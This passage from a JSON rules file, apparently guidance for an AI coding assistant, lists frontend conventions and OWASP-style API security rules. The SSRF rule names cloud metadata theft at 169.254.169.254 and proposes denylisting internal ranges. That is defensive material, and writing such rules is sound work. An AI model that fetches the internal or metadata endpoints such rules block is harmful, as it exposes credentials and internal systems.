the server boundary.","apiRule":"Do not rely on build-time public environment variables for values that differ by deployed environment. Resolve deploy-specific origins and flags at runtime on the server boundary. This assumes the public environment value will match the deployed runtime, but public env values are often inlined at build time. The result can silently drift across environments and produce broken URLs or feature flags after deployment. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. This applies to hostnames, preview origins, public asset bases, and feature flags that may differ between deployed environments. Exceptions: Purely static public values that are intentionally identical in every build can stay as build-time public env vars. Balance against prefer-build-time-env-substitution-over-runtime-script-injection: read from runtime server config for values that differ per running deployment of the same build.","whyItMatters":"This assumes the public environment value will match the deployed runtime, but public env values are often inlined at build time. The result can silently drift across environments and produce broken URLs or feature flags after deployment.","priority":"p1","scope":"stack-specific"},{"title":"Prefer CSS clamping over JS truncation for text previews","rule":"When the UI only needs a collapsed preview with optional expansion, use native CSS clamping instead of custom JS truncation logic, especially for rich text.","apiRule":"When the UI only needs a collapsed preview with optional expansion, use native CSS clamping instead of custom JS truncation logic, especially for rich text. This adds custom truncation logic to solve a visual presentation problem. It becomes harder to maintain when the content contains HTML, line wrapping changes across breakpoints, or the preview needs to stay consistent with real layout behavior. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Prefer native CSS/platform behavior first. Fall back to JS only when the product truly needs content-aware truncation that CSS cannot express. Exceptions: If the requirement depends on semantic content boundaries, server-side summaries, or exact character budgets, a JS or backend solution may still be necessary.","whyItMatters":"This adds custom truncation logic to solve a visual presentation problem. It becomes harder to maintain when the content contains HTML, line wrapping changes across breakpoints, or the preview needs to stay consistent with real layout behavior.","priority":"p1","scope":"stack-specific"},{"title":"Review and verify code before opening a PR when explicitly requested","rule":"Run the project's lint/tests and review the diff for duplication, weak abstractions, dead code, fragile logic, and pattern mismatches only when the user explicitly asks for a pre-PR check.","apiRule":"Run the project's lint/tests and review the diff for duplication, weak abstractions, dead code, fragile logic, and pattern mismatches only when the user explicitly asks for a pre-PR check. This runs an expensive review workflow even though the user did not ask for it. It burns time and tokens on routine tasks, and it makes the assistant feel heavier than necessary. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If the user explicitly asks for a pre-PR review, inspect the changed files for repeated code, bad naming, unnecessary complexity, weak validation, inconsistent patterns, and missing cleanup, not just test pass/fail status. Exceptions: You may run a narrower check without being asked only when a task specifically depends on one local verification step, such as confirming a build or lint fix. The full pre-PR audit remains opt-in.","whyItMatters":"This runs an expensive review workflow even though the user did not ask for it. It burns time and tokens on routine tasks, and it makes the assistant feel heavier than necessary.","priority":"p1","scope":"universal"},{"title":"Prefer refs for latest state in stable callbacks","rule":"When a useCallback only needs the latest state for a lookup or imperative action, read it from a ref instead of depending on the whole state collection.","apiRule":"When a useCallback only needs the latest state for a lookup or imperative action, read it from a ref instead of depending on the whole state collection. Depending on the whole state collection recreates the callback every time that collection changes, even when the callback only needs the latest item lookup at call time. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use this pattern when the callback only needs read access to the latest value at execution time. This is especially useful for event handlers, mutation callbacks, or async actions passed to children. Exceptions: Keep state in the dependency list when the callback should intentionally be recreated as that state changes, or when the state participates in derived logic that should stay inside React's dependency model.","whyItMatters":"Depending on the whole state collection recreates the callback every time that collection changes, even when the callback only needs the latest item lookup at call time.","priority":"p2","scope":"stack-specific"},{"title":"Validate request payloads before side effects","rule":"Validation prevents bad data from reaching the database and gives clients clear errors.","apiRule":"Validation prevents bad data from reaching the database and gives clients clear errors. The handler trusts the request body shape. Malformed payloads can cause runtime errors or corrupt data. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The handler trusts the request body shape. Malformed payloads can cause runtime errors or corrupt data.","priority":"p0","scope":"universal"},{"title":"Prefer early returns over deep nesting","rule":"Early returns keep control flow easy to read and reduce indentation.","apiRule":"Early returns keep control flow easy to read and reduce indentation. Nested branches add noise and make the function harder to scan. As conditions grow, the code becomes harder to maintain. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Nested branches add noise and make the function harder to scan. As conditions grow, the code becomes harder to maintain.","priority":"p1","scope":"universal"},{"title":"Extract duplicated UI primitives into shared components","rule":"If identical presentational blocks appear in multiple files, move them into a shared component instead of duplicating markup and styling contracts.","apiRule":"If identical presentational blocks appear in multiple files, move them into a shared component instead of duplicating markup and styling contracts. The same UI primitive is implemented in multiple places. That increases maintenance cost and makes style or behavior fixes easy to miss in one of the copies. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This is especially useful for repeated row items, pills, action rows, badges, and small drawer/card primitives. Exceptions: Do not extract if the shared abstraction would be more complex than the duplication or if the duplicated blocks are already diverging in structure. Balance against avoid-premature-abstraction-over-small-repetition: extract a shared component once an identical presentational block lives in multiple files.","whyItMatters":"The same UI primitive is implemented in multiple places. That increases maintenance cost and makes style or behavior fixes easy to miss in one of the copies.","priority":"p1","scope":"universal"},{"title":"Memoize stable callback props with useCallback","rule":"When passing non-trivial handlers to hooks or child components, extract them and wrap them in useCallback so they are not recreated on every render.","apiRule":"When passing non-trivial handlers to hooks or child components, extract them and wrap them in useCallback so they are not recreated on every render. The callback is recreated on every render and hides reusable logic inside an inline prop. That makes dependency behavior harder to reason about and can trigger unnecessary downstream updates. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Prefer this when the callback contains merge logic, side effects, or is passed into custom hooks. Tiny one-line DOM event handlers inside JSX do not always need extraction. Exceptions: Inline callbacks are acceptable when they are trivial, local to a leaf component, and not passed into memoized/custom-hook APIs.","whyItMatters":"The callback is recreated on every render and hides reusable logic inside an inline prop. That makes dependency behavior harder to reason about and can trigger unnecessary downstream updates.","priority":"p1","scope":"universal"},{"title":"Prefer semantic disambiguation around destructuring","rule":"If destructuring would collide with existing names, rename the surrounding locals based on their source or role, not with vague prefixes like current or updated.","apiRule":"If destructuring would collide with existing names, rename the surrounding locals based on their source or role, not with vague prefixes like current or updated. The destructured response fields are fine, but the surrounding local names are vague. Prefixes like current do not explain where the value comes from or why it differs from the response value. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Use current only when it is a real domain term, such as currentUser or currentRoute, not just as a generic collision workaround.","whyItMatters":"The destructured response fields are fine, but the surrounding local names are vague. Prefixes like current do not explain where the value comes from or why it differs from the response value.","priority":"p2","scope":"stack-specific"},{"title":"Document non-obvious !important overrides","rule":"When !important is genuinely needed to beat framework-injected styles, explain the conflict in a short comment.","apiRule":"When !important is genuinely needed to beat framework-injected styles, explain the conflict in a short comment. Without context, the override looks accidental. Reviewers cannot tell whether it solves a real framework specificity issue or is masking dead CSS. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: If the override can be removed by switching to the library API or theme override cleanly in the same change, prefer removing it over documenting it.","whyItMatters":"Without context, the override looks accidental. Reviewers cannot tell whether it solves a real framework specificity issue or is masking dead CSS.","priority":"p2","scope":"stack-specific"},{"title":"Name overlay components after their actual UI behavior","rule":"Overlay component names should match what they render: Popover, Drawer, Dialog, or a neutral Panel when needed.","apiRule":"Overlay component names should match what they render: Popover, Drawer, Dialog, or a neutral Panel when needed. The name says Modal, but the component behaves like a popover. That misleads readers about interaction, accessibility, and stacking behavior. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: A neutral name like Panel is acceptable when the component intentionally abstracts over multiple overlay types across breakpoints.","whyItMatters":"The name says Modal, but the component behaves like a popover. That misleads readers about interaction, accessibility, and stacking behavior.","priority":"p2","scope":"stack-specific"},{"title":"Prefer callback parameter destructuring for simple property reads","rule":"If a collection callback only reads one property from its item, destructure that property in the parameter list.","apiRule":"If a collection callback only reads one property from its item, destructure that property in the parameter list. The callback parameter name adds no value when the body only reads one field. It makes the callback slightly noisier than necessary. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Keep the full parameter when the callback uses multiple fields, when the object itself is passed onward, or when destructuring hurts clarity.","whyItMatters":"The callback parameter name adds no value when the body only reads one field. It makes the callback slightly noisier than necessary.","priority":"p2","scope":"stack-specific"},{"title":"Extract complex generic callback signatures into named type aliases","rule":"Do not inline non-trivial generic callback types in props or exported interfaces.","apiRule":"Do not inline non-trivial generic callback types in props or exported interfaces. Inlining a generic callback signature makes the public contract harder to scan, harder to reuse, and more tedious to discuss in review. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Keep simple inline function types inline when they have no generics and remain easy to read.","whyItMatters":"Inlining a generic callback signature makes the public contract harder to scan, harder to reuse, and more tedious to discuss in review.","priority":"p2","scope":"stack-specific"},{"title":"Destructure repeatedly used fields from the same object","rule":"When several fields from one object are used together, destructure them once instead of repeating property access.","apiRule":"When several fields from one object are used together, destructure them once instead of repeating property access. Repeated property access creates noise and makes related fields harder to scan as one group. It also makes follow-up edits easier to miss. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep direct property access when only one field is used once, or when destructuring would make a rename less clear.","whyItMatters":"Repeated property access creates noise and makes related fields harder to scan as one group. It also makes follow-up edits easier to miss.","priority":"p2","scope":"universal"},{"title":"Use API time-series values as the chart x-axis source of truth","rule":"If the backend already returns timestamps for graph points, the chart should use those timestamps directly instead of synthesizing index-based x-axis values.","apiRule":"If the backend already returns timestamps for graph points, the chart should use those timestamps directly instead of synthesizing index-based x-axis values. The UI discards the real timestamp and invents a synthetic x-axis. That can mislabel ticks and drift away from the actual backend data. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A synthetic x-axis is acceptable only when the backend truly does not provide a stable domain value and the approximation is documented.","whyItMatters":"The UI discards the real timestamp and invents a synthetic x-axis. That can mislabel ticks and drift away from the actual backend data.","priority":"p1","scope":"universal"},{"title":"Extract duplicated frontend helpers into shared utilities","rule":"If two frontend files need the same helper or constants, move them to a shared utility instead of duplicating or mirroring them.","apiRule":"If two frontend files need the same helper or constants, move them to a shared utility instead of duplicating or mirroring them. The same date helpers live in multiple places, so future fixes drift and one consumer eventually behaves differently from the other. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Balance against avoid-premature-abstraction-over-small-repetition: move a helper to a shared module when two files genuinely need the same non-trivial logic.","whyItMatters":"The same date helpers live in multiple places, so future fixes drift and one consumer eventually behaves differently from the other.","priority":"p1","scope":"universal"},{"title":"Prefer API contract fixes over client-side metadata backfills","rule":"When the UI needs data that the API could reasonably return, improve the API contract instead of layering extra client fetches as the default solution.","apiRule":"When the UI needs data that the API could reasonably return, improve the API contract instead of layering extra client fetches as the default solution. The frontend is compensating for an incomplete API contract with extra fetches and merge logic. That increases coupling and hides a backend data-shape gap. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep a temporary client fallback only when the backend change is blocked and the feature must ship; add a TODO that names the API contract to improve.","whyItMatters":"The frontend is compensating for an incomplete API contract with extra fetches and merge logic. That increases coupling and hides a backend data-shape gap.","priority":"p1","scope":"universal"},{"title":"Import shared utilities from their source module","rule":"Do not re-export shared helpers through feature-specific constants files unless you are intentionally creating a public module boundary.","apiRule":"Do not re-export shared helpers through feature-specific constants files unless you are intentionally creating a public module boundary. The feature constants file becomes an accidental barrel for unrelated shared utilities. That hides the real dependency and makes refactors noisier. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A dedicated index barrel is fine when the module is intentionally exposing a stable public surface.","whyItMatters":"The feature constants file becomes an accidental barrel for unrelated shared utilities. That hides the real dependency and makes refactors noisier.","priority":"p2","scope":"universal"},{"title":"Do not wrap synchronous work in fake async helpers","rule":"Avoid Promise.resolve, Promise.all, or async function signatures when the underlying work is synchronous.","apiRule":"Avoid Promise.resolve, Promise.all, or async function signatures when the underlying work is synchronous. The code pretends there is asynchronous coordination, but the setters are synchronous. That makes control flow harder to read and review. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use Promise.all only when every entry is genuinely asynchronous and concurrency is desired.","whyItMatters":"The code pretends there is asynchronous coordination, but the setters are synchronous. That makes control flow harder to read and review.","priority":"p2","scope":"universal"},{"title":"Extract heavy component logic into hooks or helpers","rule":"When a React component starts owning substantial form state, derived values, validation, and side effects, move that logic into a custom hook or helper.","apiRule":"When a React component starts owning substantial form state, derived values, validation, and side effects, move that logic into a custom hook or helper. The component mixes rendering, state machine logic, validation, derived values, and side effects. It becomes hard to review, test, and change safely. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Do not extract tiny components that only have a couple of local state values and no real business logic.","whyItMatters":"The component mixes rendering, state machine logic, validation, derived values, and side effects. It becomes hard to review, test, and change safely.","priority":"p1","scope":"universal"},{"title":"Do not keep empty callbacks to satisfy component APIs","rule":"If a callback does nothing, remove it and make the receiving prop optional instead of passing no-op handlers around.","apiRule":"If a callback does nothing, remove it and make the receiving prop optional instead of passing no-op handlers around. The callback exists only to satisfy the prop contract. It adds noise and hides the fact that opening has no behavior. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A no-op is acceptable only when integrating with a third-party API that strictly requires a callable and cannot be wrapped locally.","whyItMatters":"The callback exists only to satisfy the prop contract. It adds noise and hides the fact that opening has no behavior.","priority":"p2","scope":"universal"},{"title":"Document historical data assumptions in enrichment fallbacks","rule":"When adding enrichment logic for missing names or metadata, encode and document the data assumption it protects against.","apiRule":"When adding enrichment logic for missing names or metadata, encode and document the data assumption it protects against. The code may be correct, but the intent is hidden. Reviewers cannot tell whether this handles stale data, deleted holdings, pagination gaps, or something else. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Prefer intent-revealing names and one short comment when the fallback exists because current-state data differs from historical-state data. Exceptions: Do not add comments for obvious transformations; use this only when the data assumption would otherwise be unclear in review.","whyItMatters":"The code may be correct, but the intent is hidden. Reviewers cannot tell whether this handles stale data, deleted holdings, pagination gaps, or something else.","priority":"p2","scope":"universal"},{"title":"Keep frontend write contracts limited to the current UI scope","rule":"Do not expose backend fields in frontend create or update payloads unless the current UI actually reads, edits, or intentionally forwards them.","apiRule":"Do not expose backend fields in frontend create or update payloads unless the current UI actually reads, edits, or intentionally forwards them. The frontend widens its write surface to include DB or tracking fields that the product is not using. That adds maintenance cost and review noise without user value. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Separate response completeness from write scope. The backend may return more fields than the frontend should be allowed to send back. Exceptions: Include hidden or passthrough fields only when there is an explicit product or backend requirement and that requirement is documented in code.","whyItMatters":"The frontend widens its write surface to include DB or tracking fields that the product is not using. That adds maintenance cost and review noise without user value.","priority":"p1","scope":"universal"},{"title":"Remove dead fallback and recovery logic","rule":"Fallbacks, retries, and recovery branches must correspond to a real failure mode in the current implementation, not to a past or assumed one.","apiRule":"Fallbacks, retries, and recovery branches must correspond to a real failure mode in the current implementation, not to a past or assumed one. The branch looks thoughtful, but it is dead if the request no longer depends on a refreshable token. Dead recovery code increases complexity and misleads reviewers about the real runtime behavior. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When implementation assumptions change, revisit related retry, refresh, fallback, and normalization branches in the same PR. Exceptions: Keep dormant recovery logic only if it is intentionally part of an approved near-term rollout and clearly documented as such. Balance against preserve-fallback-semantics-during-refactor: delete a fallback only once you've confirmed its triggering failure mode can no longer occur.","whyItMatters":"The branch looks thoughtful, but it is dead if the request no longer depends on a refreshable token. Dead recovery code increases complexity and misleads reviewers about the real runtime behavior.","priority":"p1","scope":"universal"},{"title":"Classify backend fields by contract scope","rule":"For every backend field, decide whether it belongs in response only, create payload, update payload, or nowhere in the frontend contract.","apiRule":"For every backend field, decide whether it belongs in response only, create payload, update payload, or nowhere in the frontend contract. The frontend copies response fields into create and update payloads without deciding whether the UI actually owns them. That creates bloated write contracts and unnecessary validation work. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use this decision order for every new backend field: response only, create only, update only, create and update, or not in frontend contracts at all. Exceptions: Mirrored create and update payloads are acceptable when the UI truly owns the same field set in both flows and that symmetry reduces complexity.","whyItMatters":"The frontend copies response fields into create and update payloads without deciding whether the UI actually owns them. That creates bloated write contracts and unnecessary validation work.","priority":"p0","scope":"universal"},{"title":"Trace auth ownership through the full call chain","rule":"Before adding auth props or headers, trace the whole request path and use only the auth mechanism actually consumed by the target route or service.","apiRule":"Before adding auth props or headers, trace the whole request path and use only the auth mechanism actually consumed by the target route or service. The code pushes authToken through the stack without checking whether the route actually needs it. This creates redundant props, dead validation, and misleading auth behavior. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Explicitly identify whether auth is handled by session cookie, auth token, server-side service credentials, or no auth at all before adding headers or props. Exceptions: If a route intentionally accepts multiple auth mechanisms, that must be visible in the handler contract and documented in code.","whyItMatters":"The code pushes authToken through the stack without checking whether the route actually needs it. This creates redundant props, dead validation, and misleading auth behavior.","priority":"p0","scope":"universal"},{"title":"Only add token refresh logic to token-auth flows","rule":"Do not dispatch token refresh or retry behavior unless the failing request actually depends on a refreshable token.","apiRule":"Do not dispatch token refresh or retry behavior unless the failing request actually depends on a refreshable token. This assumes every 401 is solved by refreshing a token. If the route is session-based, the retry event is dead behavior and hides the real failure path. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Treat token refresh as part of the auth contract, not as a generic 401 reaction. Exceptions: If the product intentionally centralizes 401 recovery through a shared retry system, document that convention and apply it consistently.","whyItMatters":"This assumes every 401 is solved by refreshing a token. If the route is session-based, the retry event is dead behavior and hides the real failure path.","priority":"p1","scope":"universal"},{"title":"Define the minimal request contract before threading props","rule":"Before adding hook props, fetch args, or service params, define the actual inputs the flow needs and pass only those through the stack.","apiRule":"Before adding hook props, fetch args, or service params, define the actual inputs the flow needs and pass only those through the stack. The flow accepts and forwards props before verifying they are truly needed. This creates dead parameters, broader interfaces, and review churn later. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. For new data flows, decide these first: required inputs, auth mechanism, pagination ownership, error handling, and response shape. Exceptions: Temporary over-provisioning is acceptable only when a follow-up change in the same PR uses the extra prop and the intent is documented.","whyItMatters":"The flow accepts and forwards props before verifying they are truly needed. This creates dead parameters, broader interfaces, and review churn later.","priority":"p0","scope":"universal"},{"title":"Only create types that narrow or clarify","rule":"A new type alias should either add compile-time constraints or preserve domain meaning. If it does neither, use the primitive directly.","apiRule":"A new type alias should either add compile-time constraints or preserve domain meaning. If it does neither, use the primitive directly. The alias adds no safety because it is still just string, and the optional-plus-null fields add extra states without different semantics. The contract becomes weaker, not clearer. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Before adding a new alias, ask: does this constrain values, document a domain boundary, or improve call-site clarity? Exceptions: A domain alias is still useful when it reuses a shared primitive but keeps a meaningful API surface, for example `type PortfolioTransactionOrder = SortOrderUpper`.","whyItMatters":"The alias adds no safety because it is still just string, and the optional-plus-null fields add extra states without different semantics. The contract becomes weaker, not clearer.","priority":"p0","scope":"universal"},{"title":"Prefer configuration maps for tabular UI variants","rule":"When table headers or similarly repetitive UI only differ by labels, alignment, or classes per tab, define a tab-to-config map instead of repeating markup branches.","apiRule":"When table headers or similarly repetitive UI only differ by labels, alignment, or classes per tab, define a tab-to-config map instead of repeating markup branches. The component is really rendering data-driven column definitions, but the implementation duplicates markup for each tab variant. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This rule fits best for headers, filters, and small variant-based layouts. Use stable keys in the config instead of array indexes. Exceptions: Do not force config maps when each branch has substantially different structure or behavior; in those cases separate components or explicit branches may be clearer. Balance against avoid-premature-abstraction-over-small-repetition: use a config map when variants are numerous or differ only by data (labels, classes, alignment).","whyItMatters":"The component is really rendering data-driven column definitions, but the implementation duplicates markup for each tab variant.","priority":"p1","scope":"universal"},{"title":"Optional reference IDs must be omitted when absent and positive when present","rule":"Foreign-key style IDs should not accept 0 or null as a meaningful value unless the API explicitly defines that behavior.","apiRule":"Foreign-key style IDs should not accept 0 or null as a meaningful value unless the API explicitly defines that behavior. Allowing 0 for reference IDs weakens the contract and creates an unnecessary extra state. Optional IDs should usually be omitted when absent. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use this especially for fields like `portfolioId`, `transactionId`, `dividendId`, `instrumentId`, and similar relation IDs. Exceptions: Only allow 0 or null if the backend contract explicitly documents them as valid domain values with different meaning from omission.","whyItMatters":"Allowing 0 for reference IDs weakens the contract and creates an unnecessary extra state. Optional IDs should usually be omitted when absent.","priority":"p0","scope":"universal"},{"title":"Reuse existing shared types, enums, and helpers before adding new ones","rule":"Before creating a new type, enum, interface, or validator, search the codebase for an existing shared version and reuse it when the semantics already match.","apiRule":"Before creating a new type, enum, interface, or validator, search the codebase for an existing shared version and reuse it when the semantics already match. This redefines concepts that often already exist elsewhere in the codebase, such as shared sort-order enums or paginated response shapes. Repeating them increases drift and review noise. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Search for an existing project abstraction first. Only add a new one when the semantics are genuinely different. Exceptions: A new local type or helper is acceptable when the existing shared abstraction would hide meaningful domain differences or create awkward coupling. Balance against define-distinct-types-for-distinct-data-shapes: search for and reuse an existing shared type first; add a distinct one only when none fits.","whyItMatters":"This redefines concepts that often already exist elsewhere in the codebase, such as shared sort-order enums or paginated response shapes. Repeating them increases drift and review noise.","priority":"p0","scope":"universal"},{"title":"Keep domain aliases while reusing shared primitives","rule":"When a shared primitive already exists, reuse it under a domain-specific alias so the code stays both consistent and readable.","apiRule":"When a shared primitive already exists, reuse it under a domain-specific alias so the code stays both consistent and readable. This reuses the primitive, but it also removes domain context from the API surface. Readers have to infer what the order refers to. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Prefer this pattern when the shape is shared but the meaning is domain-specific. Exceptions: If the alias adds no clarity and is only a thin rename with no meaningful usage boundary, the shared primitive can be used directly.","whyItMatters":"This reuses the primitive, but it also removes domain context from the API surface. Readers have to infer what the order refers to.","priority":"p2","scope":"universal"},{"title":"Extract duplicated API route validators into shared utilities","rule":"When the same request parsing or validation helper appears in multiple routes with the same behavior, move it to a shared utility.","apiRule":"When the same request parsing or validation helper appears in multiple routes with the same behavior, move it to a shared utility. Copying identical validators across route files makes maintenance harder and increases the chance of inconsistent behavior later. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. A good trigger is 3 or more identical copies in the same feature or route group. Exceptions: Keep a validator local if the behavior is intentionally route-specific or the shared version would become too generic to understand. Balance against avoid-premature-abstraction-over-small-repetition: extract a shared validator once the same non-trivial parse/validation appears in multiple routes with identical intent.","whyItMatters":"Copying identical validators across route files makes maintenance harder and increases the chance of inconsistent behavior later.","priority":"p1","scope":"universal"},{"title":"Validate and sandbox third-party API consumption","rule":"Treat third-party API responses as untrusted input: validate, sanitize, limit, and avoid following redirects blindly.","apiRule":"Treat third-party API responses as untrusted input: validate, sanitize, limit, and avoid following redirects blindly. Untrusted third-party data can carry injection payloads; unencrypted transport, missing validation, redirect following, and no timeouts increase exposure and DoS risk. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Also: limit response sizes, handle partial outages gracefully, and assess providers' security posture. Treat provider names/fields as untrusted (avoid building SQL/commands from them).","whyItMatters":"Untrusted third-party data can carry injection payloads; unencrypted transport, missing validation, redirect following, and no timeouts increase exposure and DoS risk.","priority":"p1","scope":"universal"},{"title":"Avoid security misconfiguration (TLS, headers, CORS, safe errors, hardened defaults)","rule":"Harden the entire API stack with consistent configs, minimal surface area, and non-leaky error handling.","apiRule":"Harden the entire API stack with consistent configs, minimal surface area, and non-leaky error handling. Leaky errors, permissive CORS, missing TLS/security headers, and default-enabled features increase the chance of exploitation and data exposure. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Also: ensure uniform request handling across proxies (prevent desync), set Cache-Control for private data, restrict content types, validate response schemas (including errors), and keep environments hardened and repeatable via automation.","whyItMatters":"Leaky errors, permissive CORS, missing TLS/security headers, and default-enabled features increase the chance of exploitation and data exposure.","priority":"p0","scope":"universal"},{"title":"Prevent SSRF when fetching user-supplied URLs","rule":"When the backend fetches a URL from client input (webhooks, previews, imports), validate with allowlists and block internal networks.","apiRule":"When the backend fetches a URL from client input (webhooks, previews, imports), validate with allowlists and block internal networks. Blindly fetching client-supplied URLs enables SSRF (internal port scanning, metadata theft like 169.254.169.254, proxying). Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Also: use a well-tested URL parser, sanitize inputs, isolate fetchers in the network, and never allow metadata services or localhost. Consider denylisting RFC1918, link-local, loopback, and cluster ranges.","whyItMatters":"Blindly fetching client-supplied URLs enables SSRF (internal port scanning, metadata theft like 169.254.169.254, proxying).","priority":"p0","scope":"universal"},{"title":"Maintain API inventory, documentation, and version retirement","rule":"Track all API hosts/versions and data flows; retire old deployments and avoid exposing unprotected beta/staging APIs.","apiRule":"Track all API hosts/versions and data flows; retire old deployments and avoid exposing unprotected beta/staging APIs. Undocumented or forgotten API hosts/versions expand the attack surface. Attackers commonly find weaker controls on beta or older endpoints. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Also: document auth, errors, redirects, rate limits, CORS, endpoints; generate docs via OpenAPI in CI; avoid prod data in non-prod; apply external protections (WAF/API gateway) to all exposed versions.","whyItMatters":"Undocumented or forgotten API hosts/versions expand the attack surface. Attackers commonly find weaker controls on beta or older endpoints.","priority":"p1","scope":"universal"},{"title":"Enforce function-level authorization (BFLA) with deny-by-default","rule":"Every endpoint must check role/permission for the action; do not rely on URL conventions to separate admin vs user functions.","apiRule":"Every endpoint must check role/permission for the action; do not rely on URL conventions to separate admin vs user functions. If privileged endpoints lack role/permission checks, regular users can call them directly, guess URLs, or switch HTTP methods to perform unauthorized actions. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Do not assume an endpoint is admin-only based on path. Ensure regular controllers cannot perform admin actions without checks. Consider policy-based access control (RBAC/ABAC) and consistent middleware. Exceptions: Balance against hoist-shared-guard-to-orchestrator: authorization specifically must be enforced per function; this overrides any urge to check it once upstream.","whyItMatters":"If privileged endpoints lack role/permission checks, regular users can call them directly, guess URLs, or switch HTTP methods to perform unauthorized actions.","priority":"p0","scope":"universal"},{"title":"Protect sensitive business flows from automation and abuse","rule":"Identify critical workflows (purchase, reservations, referrals, posting) and add anti-automation + per-flow limits.","apiRule":"Identify critical workflows (purchase, reservations, referrals, posting) and add anti-automation + per-flow limits. High-value flows without abuse protections can be automated (scalping, spam, reservation hoarding, referral farming) and harm the business even if technical impact is low. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Options include device fingerprinting, captcha/biometrics, non-human timing heuristics, IP reputation/Tor blocking, and stricter protection for machine-consumed APIs (B2B/dev).","whyItMatters":"High-value flows without abuse protections can be automated (scalping, spam, reservation hoarding, referral farming) and harm the business even if technical impact is low.","priority":"p1","scope":"universal"},{"title":"Enforce object-level authorization on every record access (BOLA)","rule":"Any endpoint that uses a client-supplied object ID must verify the user is allowed to access that specific object.","apiRule":"Any endpoint that uses a client-supplied object ID must verify the user is allowed to access that specific object. The handler fetches a record by a user-controlled ID without verifying ownership or policy access. Attackers can enumerate or guess IDs and access other users' data. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Do not rely on comparing the session userId to an ID parameter as a universal fix. Enforce per-object access checks (ownership, org membership, ACLs, roles) for every action (read/update/delete). Prefer unpredictable IDs (UUID/GUID), but never treat them as authorization.","whyItMatters":"The handler fetches a record by a user-controlled ID without verifying ownership or policy access. Attackers can enumerate or guess IDs and access other users' data.","priority":"p0","scope":"universal"},{"title":"Harden authentication and account recovery against takeover","rule":"Protect login and recovery flows with strong validation, rate limiting, secure tokens, and re-auth for sensitive actions.","apiRule":"Protect login and recovery flows with strong validation, rate limiting, secure tokens, and re-auth for sensitive actions. Weak password handling, missing anti-bruteforce protections, overly permissive token practices, and allowing sensitive changes without re-auth make account takeover easier. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Also: never send auth tokens/passwords in URLs; reject unsigned/weak JWTs; validate issuer/audience/expiry; treat forgot/reset like login (rate limit + lockout); implement weak-password checks; prefer MFA where possible; be careful with GraphQL batching bypassing rate limits.","whyItMatters":"Weak password handling, missing anti-bruteforce protections, overly permissive token practices, and allowing sensitive changes without re-auth make account takeover easier.","priority":"p0","scope":"universal"},{"title":"Prevent sensitive field exposure and mass assignment (BOPLA)","rule":"Return only allowed fields and accept only an allowlist of writable fields; never bind request bodies directly to models.","apiRule":"Return only allowed fields and accept only an allowlist of writable fields; never bind request bodies directly to models. Returning full objects can leak sensitive fields. Updating with req.body enables mass assignment (e.g., role/isAdmin/blocked/price) if the ORM accepts unknown fields. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Avoid generic toJSON/toString serialization. Keep payloads minimal. For GraphQL, enforce field-level auth and schema-based response validation. Treat 'hidden' fields as server-owned, never client-controlled.","whyItMatters":"Returning full objects can leak sensitive fields. Updating with req.body enables mass assignment (e.g., role/isAdmin/blocked/price) if the ORM accepts 